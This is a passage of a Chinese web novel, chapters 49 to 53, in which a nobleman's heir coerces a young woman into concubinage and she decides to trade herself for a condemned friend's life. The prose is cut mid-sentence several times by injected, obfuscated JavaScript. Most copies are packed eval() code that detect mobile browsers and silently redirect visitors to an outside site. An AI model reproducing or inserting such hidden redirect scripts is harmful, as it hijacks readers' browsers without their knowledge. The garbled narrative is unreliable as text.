“如果我娶你,给你正妻之位,让你不必再担心任何所谓的门第之见,不必屈居任何人之下呢?” 这句话如同九天惊雷,不仅炸响在姜于归耳边,也狠狠的炸响在容璟自己的心里。 这个念头是如此突兀,如此不合逻辑,与他过往所有的规划,所有的冰冷信念都背道而驰。 他从不相信虚无缥缈的爱,只相信权势与掌控能让他得到想要的一切。 从小到大,这样的认知已经刻进了他的骨血里。 虽然这么多年他看似不近女色,但家族的延续,权势的继承总需要继承人。他也早已为自己规划好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他认定了她是独一无二的灵魂伴侣,他甚至打破了自己固有的,冰冷的原则,给出了连自己都感到震惊的,他认为世间最重,最珍贵的承诺。 为什么换来的不是她的共鸣,她的靠近,她的欣喜若狂? 为什么换来的,却是更深的疲惫,和一种彻底拒绝沟通的,将他远远推开的疏离? 为什么她不想和他沟通? 这丝慌乱很轻微,却像一根最锋利的针,精准的刺破了他一直以来无往不利的自信,和刚刚建立的找到同类的狂喜。 他习惯于掌控局面,习惯于通过算计和谈判得到一切。 可姜于归的反应,完全脱离了他的剧本。 她不要他的交易,甚至拒绝与他进行灵魂层面的对话。 这种彻底的,不在他理解范围内的失控感,让他第一次在一个女子面前,感到了一种无所适从。 那一瞬间,一种极其陌生的,类似于失重感的心慌,如同冰冷的毒蛇,猝不及防的窜上他的脊椎。 几乎是同时,一股被狠狠冒犯的耻辱感猛烈的灼烧起来,瞬间将那丝微弱的心慌焚烧殆尽! 她凭什么?! 凭什么用这种眼神看他? 49. 第 49 章 仿佛他刚才那些连自己都震惊的,近乎剖白的话,是多么可笑的一厢情愿? 丢脸! 前所未有的丢脸! 他竟然在这个女人面前,如此失态,说出了超出掌控的话,而对方竟毫不珍惜,甚至弃如敝履! 这巨大的羞耻与愤怒,如同沸腾的岩浆,在他血管里奔涌,急需一个出口。他绝不允许自己处于这种被动的,仿佛被审视的境地。 他必须是那个掌控一切的人,必须是! 容璟的眼神骤然冷却,比窗外的寒冰更刺骨。 他下颌线绷紧,方才那一丝因冲动而泄露的柔和痕迹荡然无存,取而代之的是一种混合着戾气与嘲讽的冰冷面具。 容璟极轻的嗤笑一声,那笑声里没有半分温度,只有满满的,试图夺回掌控权的攻击性。 “呵!” 他上前一步,高大的身影带着强烈的压迫感,几乎将姜于归完全笼罩在他的阴影之下,目光如冰冷的刀锋,刮过她的脸。 “不想说话了?是我刚才的话,吓到你了,还是你觉得,已经拿捏住我了,可以开始耍弄你的手段了?” 他刻意曲解姜于归的沉默,将她的疲惫与疏离,扭曲为一种欲擒故纵的伎俩。 这是他熟悉的领域——质疑,攻击,掌控。 唯有将她也拉入这个泥潭,他才能从方才那片刻真诚所带来的失控感中挣脱出来。 “姜于归!你不会真的以为我方才那些话是认真的?” 他用一种漫不经心,甚至带着些许嘲弄的语气说道,目光却不敢在她脸上停留太久,生怕看到更多让他心绪不宁的神情。 容璟开始用攻击作为武器,狼狈的,强势的,为自己方才那不被接受的,意外的真诚,进行着最激烈的找补。 “你不要会错了意。” 他侧过身,望向窗外纷飞的雪花,仿佛在陈述一个与自己无关的事实,只有紧绷的侧脸线条泄露了他并不平静的内心。 “我当街维护你,对内给你一个名分,无非是看在林宴的托付上。” 容璟语气平淡,却字字如刀,试图将刚才所有暧昧的,越界的行为,都切割得干干净净,仿佛那样就能抹去自己心头那点不该有的悸动。 “我不想他出狱之际,看到你真的出了什么闪失,无法交代。侍妾这个身份,在某些时候,即便我不在,府里府外的人想动你,也得掂量掂量。这不过是个......最省事的保护手段罢了。” 他顿了顿,感觉到身后那道沉默的目光,如同芒刺在背,让他更加烦躁。 他必须把这条路彻底堵死,把她刚刚那句与林宴没有可能也一并否定掉,仿佛这样,就能否定掉自己内心因那句话而产生的细微波动。 “所以,你也不必故意在我面前说什么,与林宴再无可能。” 他语气愈发冷硬,带着一种近乎残忍的体贴。 “赠送妾室这种事儿,在权贵之间算不得什么新鲜事。将来等林宴出来,我若将你完好无损的送还给他,也算成全了一段朋友之义,旁人......也不会多说什么。” 说完这最后一句,他仿佛再也无法忍受身后那片令人窒息的沉默,和那道让他无所适从的目光。 他甚至不敢再看姜于归一眼,不敢去确认她脸上是愤怒,是悲伤,还是更深的,让他心慌的......了然与疲惫。 容璟几乎是带着一丝不易察觉的狼狈,猛的转身,衣袂带起一阵冷风,近乎逃也似的快步离开了书房。 “砰——”的一声轻响,书房门被合上。 将那一片被他用冰冷言辞搅得更乱的残局,独自留给了僵立在原地的姜于归。 —————— 那日在容璟书房的激烈对峙之后,姜于归好些时日都没有再见到容璟。 可即便如此,她现在在荣国公府的身份,已经莫名其妙的变成了容世子侍妾。 一纸未曾经过她点头的文书,几个奉命行事的婆子丫鬟,她就被从客院请到了更为精致的汀兰水榭。 可在姜于归眼里,这里却仿佛成了一座美丽的孤岛,隔绝了外界的喧嚣,也隔绝了她想要的自由。 容璟的身影自那日后便再未出现,连一丝痕迹都未曾留下,仿佛那日书房里那个失控的,尖锐的,又仓皇逃离的人,只是她的一场幻觉。 年节的热闹是别人的,府中上下张灯结彩,仆从来往穿梭,处处洋溢着辞旧迎新的喜庆。 唯有姜于归所在的汀兰水榭,安静得只剩下风雪掠过屋檐的声音,和炭盆里偶尔爆开的噼啪轻响。 除夕团圆宴,她作为身份尴尬,来路不明的侍妾,自然被理所当然的排除在,那象征家族核心与血脉亲情的欢宴之外。 下人们倒是不曾怠慢,依着上头吩咐,在她院里的小桌上摆了几道精致程度远超平日的菜肴,碗碟精美,菜色玲珑,算是给她过了这个年。 姜于归独自坐在桌前,看着满桌佳肴,拿起筷子,夹起一箸鲜嫩的清蒸鲈鱼放入口中。 味道确实极好,火候调味都是国公府应有的水准。 她慢慢的,认真的吃着,心境在周遭一片寂静的衬托下,反倒生出几分诡异的轻松和雀跃。 不必强颜欢笑踏入那个她格格不入的场合,不必在众目睽睽之下,扮演那个连她自己都感到荒诞的角色。不必去承受容璟父母可能投来的审视目光,不必去应对府中其他人或好奇或鄙夷的打量。 这个年,关起门来只有自己。于她而言,反倒像是从一场令人窒息的闹剧中偷得了片刻喘息,获得了几分难得的清静与自在。 她安静的吃完了这顿一个人的年夜饭,窗外隐约传来远处街巷的爆竹声和模糊的欢声笑语。 就当做是遥远的背景音吧,姜于归想,这个年夜,就这样,其实挺好。 而在府邸另一端的正厅家宴上,灯火通明,映照着与汀兰水榭截然不同的喧嚣。 盛宴已开,巨大的圆桌上摆满了象征吉祥富贵的珍馐,厅内暖意融融,驱散了冬夜的严寒。 然而,若细看便能察觉,这热闹之下,潜藏着一种难以言喻的空洞与形式化。 主位之上,空空如也。 那里本该坐着这个家族的掌权者——荣国公与其夫人安宁郡主。 但此刻,那两张最尊贵的扶手椅,只是沉默的陈列在那里,如同两个华丽的符号,象征着权力,也象征着缺席。 取而代之,坐在主位之侧,主持这场家宴的,是鬓发如银面容慈祥,却眼神通透的老夫人。 她是容璟的祖母,也是在这座冰冷府邸中,唯一能让他感受到些许暖意的长辈。 容璟,便是由老夫人一手带大。 容璟坐在老夫人左下首第一个位置,这个座次彰显着他在府中毋庸置疑的继承人地位。 他身着一袭墨色暗纹锦袍,领口与袖口以同色银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915422|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线绣着繁复的云纹,在灯下流转着暗沉的光泽,衬得他面容愈发俊美,却也愈发清冷疏离。 容璟唇角始终含着一抹恰到好处的浅笑,从容的应对着族中叔伯婶娘,旁支亲眷的敬酒与寒暄。 无论是关于朝局动向的试探,还是家族产业的询问,他皆能应对得体,言辞既不泄露分毫机要,又予人如沐春风之感。 姿态之优雅,无可挑剔。 任谁看了,都要赞一声荣国公府世子爷容潜玉,风姿卓绝,温润如玉,堪为世家子弟楷模。 只是,那笑意,并未真正抵达眼底。 那双深邃的凤眸表面平静无波,内里却幽冷难测。 他的目光,偶尔会不着痕迹的,极快的扫过厅外某个方向。 那是汀兰水榭所在的方位。 事实上,在决定举办这场家宴之初,他并非没有动过念头。 他甚至细致的构想过,即便姜于归侍妾的身份不够格列席正宴,他也可以力排众议,在她身旁增设一席。 他想象过她坐在他身侧的样子,或许会有些拘谨,或许会面对族亲们或好奇或审视或轻蔑的目光。 但有他在,一个眼神,一句温言,便能将那些不必要的麻烦,无声无息的挡回去。 无人敢真正给她难堪。 他更阴暗的想过,让她亲眼见识这钟鸣鼎食,烈火烹油般的高门繁华,亲眼目睹他所处的世界,是如何的权势煊赫,或许能让她清醒的意识到,留在他容璟的身边,得到他的庇护与青睐,才是她最好的,甚至是唯一的选择。 这远比她那个不切实际的,想要离开的念头要现实得多。 这个带着一丝炫耀和强势宣告的念头,在容璟脑中盘旋了许久,甚至让他产生了一种隐秘的兴奋。 然而,书房里她那句清晰的,不带丝毫犹豫的我不愿意,以及她抬起眼眸时,眼中的疏离与不容撼动的坚定,像一盆掺杂着冰碴的冷水,对着他当头浇下,将他所有未曾宣之于口的打算,和那些阴暗的期待,都彻底浇熄。 带她来? 以什么立场? 他容璟的侍妾?一个他甚至需要借用林晏托付这样蹩脚的借口,才能强行留在身边的女人? 强烈的,深入骨髓的自尊心,让他无法开这个口。 姜于归既已明确拒绝,他若再强求,岂不是显得他容潜玉非她不可?岂不是坐实了那日他被她沉默击溃,仓皇逃离时的狼狈与失控? 于是,容璟选择了沉默。 用一种近乎赌气的方式,默认了她被排除在这份虚假的团圆之外。 “大哥,我敬你一杯。”一个清朗的声音打断了他的思绪。 坐在他对面的,是他的三弟,名唤容琅,年方十六,眉眼间与容璟有三分相似,却更多了几分未被世事磨砺的跳脱与张扬。 他是容国公在发现长子性情愈发不可控后,与一个贵妾生下的孩子,亦是精心培养的,或许带着一丝替代意味的弟弟。 容璟抬眼,端起酒杯,唇边笑意不变:“三弟。” 兄弟二人对饮一杯,容琅放下酒杯,状似无意的笑道:“听闻大哥前些日子新纳了一位......如夫人?怎么不见带来让祖母和我们见见?也好叫我们知晓,是何等绝色,竟能入得了大哥的眼。” 这话问得看似好奇,实则带着几分不易察觉的打探和挑衅,席间瞬间安静了几分,不少目光都隐晦的投了过来。 50. 第 50 章 老夫人捻着佛珠的手微微一顿,眼皮抬了抬,却未说话。 容璟握着酒杯的指尖几不可查的收紧了一瞬,面上却依旧是那副无懈可击的温润模样。 他轻轻放下酒杯,语气平淡无波:“她性子喜静,不惯这等喧闹场合,况且,些许小事,不值当扰了祖母与各位长辈的清静。” 他四两拨千斤,将容琅的试探轻易化解,语气中的淡漠,仿佛谈论的只是一件无关紧要的物事。 容琅碰了个软钉子,撇撇嘴,也不再追问,转而与身旁的四妹妹容琳说起话来。 四小姐容琳和五小姐容欢虽是侧室所生,但是颇受宠爱,只是今日在容璟面前,显得谨小慎微,并不多言。 家宴继续进行,丝竹声起,气氛似乎重新变得热烈。 但容璟却觉得,这满室的喧嚣,这精心营造的团圆氛围,从未如此刻这般刺耳。 那欢声笑语,那推杯换盏,都像隔着一层无形的屏障,他身处其中,却仿佛一个冷眼旁观的局外人。 父母的位置空着。 他们甚至懒得回来,与他,与这所谓的家演这一场团圆的戏码。 记忆中,他们似乎从未一同出席过家宴。 起初是争吵,后来是长久的冷战与分居,再到后来......是一种彼此心照不宣的,对这座府邸和这个儿子的......疏远与畏惧。 是的,畏惧。 容璟清晰的记得,安宁郡主,他那高贵雍容的母亲,在一次他以雷霆手段处置了一个她的陪嫁嬷嬷后,用那种混合着震惊,失望,以及一丝难以掩饰的惊惧的眼神看着他,说:“璟儿,你如今真是让为娘感到害怕。” 荣国公,他的父亲,则在一次他完美解决了一场可能波及家族的朝堂风波后,拍着他的肩膀,语气复杂:“做得好,只是......为父有时竟看不透你了。” 他们亲手将他塑造成一把最锋利的刀,一个最合格的继承人,却又在他展现出超越他们控制的,属于他自己的意志与手段时,感到了不安与畏惧。 于是,他们选择了逃离,用缺席来表达他们的不满,或者说,无力。 这偌大的荣国公府,金玉其外,内里却早已是一片冰封的荒原。 而那个此刻独居于汀兰水榭的女子,那个被他扣上他的人身份的人,却又无法真正掌控的女子...... 那个有着明媚笑容,会为陌生小姑娘调试琵琶,会用心为他准备药膳,也会用最平静的眼神拒绝他所有安排的姜于归...... 姜于归的身影,不受控制的清晰的浮现在他脑海,与眼前这虚假的热闹形成鲜明的对比。 她此刻在做什么? 是否正对着一桌他特意吩咐厨房精心准备的丰盛的菜肴,感到一丝委屈与孤寂? 是否会因为这被排斥在外的处境,而对他产生哪怕一丝的怨怼? 还是...... 正如他那个最糟糕的猜测?她根本毫不在意,甚至因此而感到如释重负,庆幸不必来应付这令人窒息的一切? 这个念头像一根细小的毒刺,猝不及防的扎进容璟心里最柔软也最偏执的角落,带来一阵尖锐的刺痛和难以言喻的滞闷。 如果连这刻意制造的孤寂都无法让姜于归有所触动,那他还能用什么来牵动她的情绪? 他之于她,难道就真的一点分量都没有吗? “璟儿,可是酒喝急了?脸色有些不好。” 老夫人温和的声音响起,带着关切。 容璟瞬间回神,将所有翻涌的情绪死死压回眼底那片深潭之下。 他转向老夫人,笑容温煦,带着恰到好处的对长辈的敬爱:“劳祖母挂心,孙儿无事。只是想起年前户部的一桩案子,有些走神了。” 他找了个无可指摘的借口。 老夫人深深看了他一眼,那双阅尽世情的眼中似乎掠过一丝了然与叹息,但她终究什么也没多说,只轻轻拍了拍他的手背:“今日是除夕,莫要想那些劳神的事了。多吃些菜。” “是,祖母。”容璟顺从的应道,夹了菜放入口中,却觉味同嚼蜡。 他端起酒杯,再次将杯中那微涩的液体一饮而尽。 冰凉的酒液滑入喉咙,却未能浇灭胸中那股无名之火。 那本该因绝对掌控而带来的快感,并未出现。 他掌控了这场家宴,掌控了族人的敬畏,甚至某种程度上掌控了姜于归的人身自由。 可他掌控不了父母的亲情,更掌控不了那个女子那颗看似柔软实则坚韧无比的心。 这种认知,让他感到一种前所未有的无力与......孤独。 原来,在这万家团圆的除夕之夜,他容潜玉,权倾朝野的荣国公府世子,和那个被他囚于水榭之中的孤女,本质上,并无不同。 他们都是这盛大繁华之下,无人问津的孤独灵魂。 只是,他沉溺于这孤独,并想将她一同拖入这深渊。 而她,却始终仰望着一片,他无法给予,或者说,不愿给予的天空。 这场他自以为是的冷落,到头来冷的,或许只是他自己。 —————— 第二日,大年初一。 汀兰水榭内,姜于归对镜理了理鬓角,镜中人面色平静,眼底却是一片沉寂的荒芜。 自那日与容璟在书房不欢而散后,他便再未出现,这看似清净,却更像一种无声的煎熬,仿佛悬在头顶的利刃,不知何时落下。 她不能再等,尤其是林晏的案子,像巨石压在心上,日益沉重。 明知去找容璟无异与虎谋皮,甚至可能引来更深的禁锢,但她已别无他法。 “我要出府。” 她对着空寂的屋子,也像告诉自己,声音不大,却带着破釜沉舟的决绝。 姜于归并未直接去寻容璟,而是找到了长青。 站在这个总是如同影子般跟在容璟身后的护卫面前,姜于归尽量让语气听起来平静无波:“长青侍卫,烦请通传世子,我想出府一趟。” 她已做好了被拒绝,甚至被嘲讽的准备。 毕竟一个侍妾,哪有什么随意出府的资格。 然而,长青闻言,只是恭敬垂首,语气毫无波澜,对姜于归的称呼也变了。 “回姜娘子,世子一早便进宫了。” 姜于归心下一沉,也不知道这个说辞是真是假,就算是容璟的托词,她又能如何呢? 正以为此事必然不成,却听长青继续道:“不过世子离府前有过交代,若是姜娘子想在年节期间出门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920583|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散心,皆可自便,只需多带些人手,注意安全便是。” 答应了? 姜于归微微一怔,有些难以置信。 她设想了种种困难,却没想到如此轻易。 但她顾不得那么多了,机会就在眼前。 姜于归低声道:“多谢了,不过不必安排人跟随,我只想一个人静静。” 长青抬眼看了她一眼,那眼神平静,却仿佛能洞悉一切。但他并未多言,只应了一声:“是。姜娘子早去早回。” 从角门出去,冰冷空气涌入肺腑,姜于归却并未感到多少轻松。 她没有乘坐府中安排的马车,选择了独自步行。 街道上还残留着昨夜爆竹的碎屑,不少孩童穿着新衣追逐嬉笑,商铺大多歇业,透着年节的慵懒。 这片祥和热闹,与她内心的焦灼格格不入。 她知道,在暗处一定有容璟派来的眼睛,这种感觉如芒在背,让她每一步都走得谨慎。 她先是去了慕容府,门房认得她,通报后,她便被引了进去。 府内依旧笼罩在一片愁云惨雾之中,过年的喜庆在这里找不到丝毫痕迹。 慕容老夫人拉着她的手,未语泪先流,反复念叨着林晏的名字,担忧之情溢于言表。 姜于归心中酸楚,却不敢多说,只能强忍着悲痛,用苍白无力的话语宽慰着两位风烛残年的老人。 她甚至不敢久留,生怕自己控制不住情绪,也怕给二老带来更多的麻烦。 从慕容府出来,已是午后,阳光依旧没什么温度,寒风吹在脸上,像刀割一样。 而后,姜于归看似随意的在街上闲逛,目光却敏锐扫过四周。 最终,她走进了一家看起来不甚起眼的成衣铺。 片刻后,一个身着青色棉布长袍,头戴同色方巾,作书生打扮的少年从铺子里走了出来。 姜于归对着店铺水缸模糊的倒影看了看,镜中人面色微黄,眉毛加粗,掩去了大部分丽色,虽仍显清秀,但混入人群中已不那么扎眼。 她深吸一口气,压低了帽檐,朝着京兆府尹顾守正大人的府邸方向走去。 一路打听,终于到了顾府的门前,门房见是个面生的少年求见,本欲驱赶,但姜于归低声道:“烦请通传顾大人,就说......容世子府上有人,为旧案前来请教。” 那门房听到容世子三个字,神色立刻变得谨慎,打量了她几眼,终究还是进去通传了。 等待的时间并不长,却每一息都无比煎熬,姜于归手心沁出冷汗,既盼着能见到顾大人,又害怕听到任何不好的消息。 很快,她被请了进去,引到了书房。 顾守正一身常服,坐在书案后,见到她这身打扮,眼中闪过一丝讶异,但很快便恢复了沉稳。 “你是......” 顾守正目光如炬,落在姜于归身上。 姜于归摘下帽子,露出真容,福了一礼:“顾大人,民女姜于归冒昧来访。” 顾守正看清是她,脸上的讶异更深,但随即像是想到了什么,起身沉吟道:“姜娘子不必多礼,可是......世子有何事吩咐?” 姜于归心中猛地一跳。 顾大人第一反应,竟是认为她是奉容璟之命而来? 51. 第 51 章 她心中瞬间感到一丝怪异,但眼下容不得她细想,立刻顺着他的话,含糊应道:“是......世子心中挂念旧友之案,特让民女前来,向顾大人请教一二。” 她不敢直视顾守正探究的目光,微微垂眸,心中忐忑,生怕被看出破绽。 顾守正看着她,心中有些疑虑。 容璟协理此案,所有情况他都清楚,有何细节需要特意让一个内宅女子,还是如此乔装打扮前来询问? 这不合容璟行事缜密的风格。 但转念一想,或许是世子另有深意,不欲让更多人知晓?毕竟永嘉公主那边盯得紧。 思及此,顾守正压下心中疑惑,脸上露出和煦笑容:“原来如此,世子有心了,关于慕容公子的案子......” 他顿了顿,似乎在斟酌措辞,语气带着一丝宽慰:“虽然永嘉公主他们想下死手,但慕容大人乃是无辜的,所以并非全无转圜余地,世子他......” 奈何顾大人的话尚未说完,书房外传来管家恭敬的声音:“老爷,有贵客到访,已在花厅等候。” 顾守正话语一顿,眉头微蹙,显然这突如其来的访客打断了他的思路。 不知道这年节之际,会有什么贵客来访? 他略带歉意地对姜于归道:“姜娘子稍坐,老夫去去便回。” 姜于归心中焦急,却也只能点头:“大人请便。” 顾守正起身离去,书房内重归寂静。 姜于归坐立难安,只觉得时间过得异常缓慢,每一刻都是煎熬。 她反复咀嚼着顾守正刚才未说完的话,并非全无转圜余地,这是否意味着,林晏还有救? 不知过了多久,门外再次响起脚步声。 姜于归立刻站起身,满怀期待地望向门口。 然而,进来的顾守正,脸色却与方才离去时截然不同,刚才那丝和煦与宽慰消失不见,取而代之的是一种沉甸甸的凝重,看向她的眼神里,甚至带上了一丝不易察觉的......怜悯。 姜于归的心,瞬间沉了下去。 顾守正走到书案后,并未立刻坐下,他沉默了片刻,才缓缓开口,声音低沉而压抑:“姜娘子,方才......老夫接到刑部传来的最新消息。” 他抬起眼,目光复杂地看着姜于归瞬间苍白的脸,一字一句,如同重锤敲下:“陛下......已下旨,元宵过后,便......处决慕容林晏。” 处决慕容林宴。 这六个字像一道惊雷,瞬间在姜于归耳边轰然炸响。 她猛地后退一步,撞在身后的椅背上,发出沉闷的响声,浑身的血液仿佛在瞬间冻结,四肢百骸一片冰凉,眼前阵阵发黑,顾守正那张充满怜悯的脸在她视线里扭曲,模糊。 “不......不可能......” 她喃喃自语,声音破碎不堪,带着无法置信的颤抖。 “怎么会......这么快......之前不是说还在查吗......” 顾守正看着她瞬间失魂落魄的模样,心中叹息更甚。 他想起方才花厅里那位贵客带来的,与其说是消息,不如说是来自某人的明确的指示。他此刻才彻底明白,姜于归此行,绝非她说的那样,而他险些上了当! 随后,顾守正的声音带着官场的无奈,与一丝不易察觉的引导:“圣意已决,此案......牵涉甚广,陛下震怒,已无意再深究细节。” 他看着姜于归空洞的眼神,仿佛不忍,又仿佛在完成某种使命般,轻声提醒道:“姜娘子,如今......若说还有谁能在这最后关头,或许能求得一线生机......恐怕,唯有世子了。陛下信重世子,所以并没有因为他与林晏交好而被排除在外不能查理,想法此案亦由世子协理,他的话,在御前或许还有些分量。” 唯有世子了。 这句话,像最后一块巨石,将姜于归彻底砸入冰冷的深渊。 为什么会这样?她今日前来顾府,就是不想再去找容璟,既然已经察觉容璟的心思,姜于归明白,从容璟哪里定然听不到她想要的真相 可是为什么兜兜转转,还是这样的结果?还是要去找他? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926049|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个认知像是一把冰刀,狠狠地刺入姜于归的内心。 但现在顾大人也说,唯一的希望或许只有容璟...... 那个已经掌控了她的人,现在也可能掌控了林晏的生死...... 回程的路,姜于归不知道自己是怎么走完的。 细雪如同冰冷的尘屑,无声地覆盖着盛京的街巷。 姜于归深一脚浅一脚地走着,内心的痛苦让她几乎喘不过气。 冷吗? 身体或许是冷的,雪水浸湿了头发和肩膀,带来刺骨的寒意。 但此刻,她完全感觉不到。 一种更彻底的寒冷从心脏最深处弥漫开来,瞬间冻结了四肢百骸,连血液都仿佛凝固了。 处决慕容林宴...... 唯有世子了...... 顾守正的话语如同两把淬了毒的冰锥,在姜于归脑中反复回响。 她像个被抽走了提线的木偶,眼神空洞,步履虚浮,凭着一点残存的本能,朝着那座华丽牢笼的方向挪动。 她的整个世界,只剩下那六个字带来的,天崩地裂般的绝望。 他真的......要死了? 那个在清溪镇救过她,总是与她制造偶遇,眉眼温润带笑的林晏,那个许下诺言,说会回去找她的林晏,那个在阴暗牢狱中,依旧眼神清亮,对她说你能来,我就很开心了的林晏...... 怎么会......怎么就要被处决了? 巨大的恐慌如同无形的巨手,死死攥住了姜于归的心脏,让她每一次呼吸都带着撕裂般的痛楚。 是她害了他吗? 不对...... 电光火石间,一个更可怕的念头,如同黑暗中劈开的闪电,骤然照亮了所有被她忽略的细节! 顾府的那个贵客! 那个在她即将得到最关键信息时,恰到好处出现,打断了一切,让她功亏一篑的贵客! 当时姜于归只觉是顾守正另有要事,或是自己运气不佳。 可现在想来,那真的是巧合吗? 52. 第 52 章 她自以为甩掉了暗卫,自以为行动隐秘,可容璟是什么人?他手下的暗卫又岂是她一个毫无经验的女子能轻易摆脱的? 只怕她的一切行踪,一举一动,就如同戏台子上的傀儡,早已落入了那双隐藏在暗处,冰冷审视的眼睛里! 是容璟! 一定是他的人!是他在暗中窥视,是他洞悉了她的意图,然后轻描淡写地派出了一个人,就轻而易举地掐断了她所有的希望!像掐灭一只微弱烛火般轻易,像拂去袖口一点微尘般随意。 那么顾守正呢? 姜于归猛地想起长街之上,顾守正虽竭力维护她,与永嘉公主据理力争,但在容璟出现之后,他的态度...... 是了,是恭敬,是谨慎,甚至带着一丝不易察觉的......隶属感。 顾守正,很可能本就是容璟阵营的人! 他之前的维护,或许有他身为父母官的正义,但更多的,恐怕是容璟授意下的保护与控制。 尤其是他最后那句唯有世子了,究竟是无奈的提示,还是奉命而来的最后的通牒? “呵......” 一声极轻的,带着破碎的冷笑从姜于归苍白的唇间溢出,带着无尽的悲凉和自嘲。 她竟然还曾天真地以为,自己能够凭借一点小聪明,在夹缝中求得生机,能够守住那点可怜的自尊和底线,等待云开月明的那一天。 愚蠢!何其愚蠢! 在绝对的力量和冷酷的算计面前,她的坚持,她的挣扎,她那点来自异世的独立与骄傲,显得如此可笑,如此不堪一击! 她明白了,她根本没有选择。 汀兰水榭终于到了。 丫鬟们看到她这副失魂落魄,浑身湿透的模样,吓得惊呼出声,连忙围了上来。 “娘子!您这是去哪儿了?怎么弄成这个样子!” “快快,准备热水!姜汤!” 她们七手八脚地扶住她,为她褪下冰冷潮湿的男装。 姜于归没有任何反应,像一具失去了灵魂的躯壳,任由她们摆布。 温热的水流漫过身体,驱散了体表的寒意,却无法温暖那颗已经沉入冰海的心。 她靠在浴桶边缘,闭上眼,眼前浮现的却是容璟那张俊美无双,却总是带着温和假面的脸。 他那双深邃的眼眸,看似平静无波,实则内里藏着怎样幽暗的,掌控一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931697|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的欲望? 他一次次地出手相助,一次次地将她纳入羽翼之下,为她冠上侍妾之名,将她安置在这华美的牢笼里......所有的一切,都不是为了林晏的托付,也不是一时兴起的玩弄。 他是要她。 容璟要姜于归这个人,要她彻底的臣服,要她心甘情愿的献上自己,作为换取林晏性命的筹码! 他早已将价码标好,放在那里,冷眼看着她四处奔走,碰得头破血流,直到她筋疲力尽,直到她走投无路,最终......只能主动走向他设定的那条路。 她没有选择了。 继续反抗?眼睁睁看着林晏被处决? 不,她做不到。 那是林晏的命啊!是那个曾给过她温暖和承诺的人!她无法背负着这样的愧疚度过余生。 逃离?在容璟的天罗地网下,她能逃到哪里去?即便侥幸逃脱,她又拿什么去救林晏?不过是加速他的死亡。 所有的路都被堵死了。 唯一条生路...... 她必须去求他。 用他自己想要的东西,去换取林晏的生机。 可是......那意味着什么? 53. 第 53 章 意味着她要亲手撕碎自己最后的尊严,将自己物化,变成一个可以用身体和灵魂进行交易的物品。 一种巨大的痛苦席卷了姜于归,她死死咬住自己的手臂,不让自己哭出声来。贝齿陷入皮肉,带来尖锐的刺痛,却远不及心口那万分之一痛。 为什么......为什么要这样对她? 她只是想救一个人,只是想守住一点真心,为什么就这么难? 水渐渐冷了。 身体的温度再次被寒意取代。 姜于归缓缓抬起头,那双曾经清澈明亮的眼睛,此刻只剩下一种近乎绝望的平静,一种认命般的死寂。 为了林晏的命...... “更衣。” 姜于归开口,声音嘶哑,却带着一种异样的冷静。 丫鬟们连忙上前为她擦干身体,换上早已准备好的华美衣裙,衣裙颜色鲜艳夺目,与她此刻的心境形成残酷的对比。 她们又为她细细梳妆,描眉点唇,戴上精致的珠钗步摇。 铜镜中,映出一张明艳不可方物的脸。 眉眼如画,唇色朱红,华服美饰,无一不精。 只是那双眼睛,漆黑,沉静,没有一丝光彩,仿佛两口深不见底的古井,埋葬了所有生机。 姜于归静静的看着镜中的自己,仿佛在审视一件即将被献祭的物品。 然后,她缓缓站起身,整理了一下并无可整理的衣襟,推开试图搀扶的丫鬟,一步一步,朝着容璟书房的方向走去。 她的步伐很稳,背影挺直,带着一种奔赴刑场般的,凄绝而壮烈的姿态。 风雪在她身后无声落下,将她的足迹一点点覆盖。 